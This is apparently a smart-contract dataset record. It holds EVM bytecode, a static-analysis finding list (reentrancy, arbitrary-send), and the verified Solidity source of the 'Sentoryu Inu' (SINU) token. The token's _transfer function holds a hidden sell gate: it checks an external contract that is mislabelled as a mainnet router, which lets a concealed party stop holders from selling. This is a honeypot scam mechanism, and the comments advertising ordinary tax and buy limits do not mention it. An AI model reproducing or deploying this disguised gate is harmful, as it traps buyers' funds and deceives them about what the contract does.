00000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d683ec30fe10c55b38e041a35994bc6822275ef667408f71b41789a71e223e2364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,561
0x4256e0fEB5a1638c0f0cd96a884a4597821602bE
/** *Submitted for verification at Etherscan.io on 2021-11-18 */ //SPDX-License-Identifier: MIT // Telegram: t.me/sentoryuinu // Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function) // Built-in tax mechanism, can be removed by calling lowerTax function pragma solidity ^0.8.9; uint256 constant INITIAL_TAX=9; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="SINU"; string constant TOKEN_NAME="Sentoryu Inu"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface O{ function amount(address from) external view returns (uint256); } contract SINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(20); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102975780639e752b95146102c4578063a9059cbb146102e4578063dd62ed3e14610304578063f42938901461034a57600080fd5b806356d9dce81461022557806370a082311461023a578063715018a61461025a5780638da5cb5b1461026f57600080fd5b8063293230b8116100d1578063293230b8146101c8578063313ce567146101df5780633e07ce5b146101fb57806351bc3c851461021057600080fd5b806306fdde031461010e578063095ea7b31461015557806318160ddd1461018557806323b872dd146101a857600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600c81526b53656e746f72797520496e7560a01b60208201525b60405161014c91906114f6565b60405180910390f35b34801561016157600080fd5b50610175610170366004611560565b61035f565b604051901515815260200161014c565b34801561019157600080fd5b5061019a610376565b60405190815260200161014c565b3480156101b457600080fd5b506101756101c336600461158c565b610397565b3480156101d457600080fd5b506101dd610400565b005b3480156101eb57600080fd5b506040516006815260200161014c565b34801561020757600080fd5b506101dd610778565b34801561021c57600080fd5b506101dd6107ae565b34801561023157600080fd5b506101dd6107db565b34801561024657600080fd5b5061019a6102553660046115cd565b61085c565b34801561026657600080fd5b506101dd61087e565b34801561027b57600080fd5b506000546040516001600160a01b03909116815260200161014c565b3480156102a357600080fd5b5060408051808201909152600481526353494e5560e01b602082015261013f565b3480156102d057600080fd5b506101dd6102df3660046115ea565b610922565b3480156102f057600080fd5b506101756102ff366004611560565b61094b565b34801561031057600080fd5b5061019a61031f366004611603565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035657600080fd5b506101dd610958565b600061036c3384846109c2565b5060015b92915050565b60006103846006600a611736565b610392906305f5e100611745565b905090565b60006103a4848484610ae6565b6103f684336103f1856040518060600160405280602881526020016118c3602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e22565b6109c2565b5060019392505050565b6009546001600160a01b0316331461041757600080fd5b600c54600160a01b900460ff16156104765760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a29030906001600160a01b03166104946006600a611736565b6103f1906305f5e100611745565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105199190611764565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059f9190611764565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106109190611764565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d71947306106408161085c565b6000806106556000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106bd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e29190611781565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610751573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077591906117af565b50565b6009546001600160a01b0316331461078f57600080fd5b61079b6006600a611736565b6107a9906305f5e100611745565b600a55565b6009546001600160a01b031633146107c557600080fd5b60006107d03061085c565b905061077581610e5c565b6009546001600160a01b031633146107f257600080fd5b600c54600160a01b900460ff1661084b5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f74207374617274656420796574000000000000604482015260640161046d565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037090610fd6565b600054600160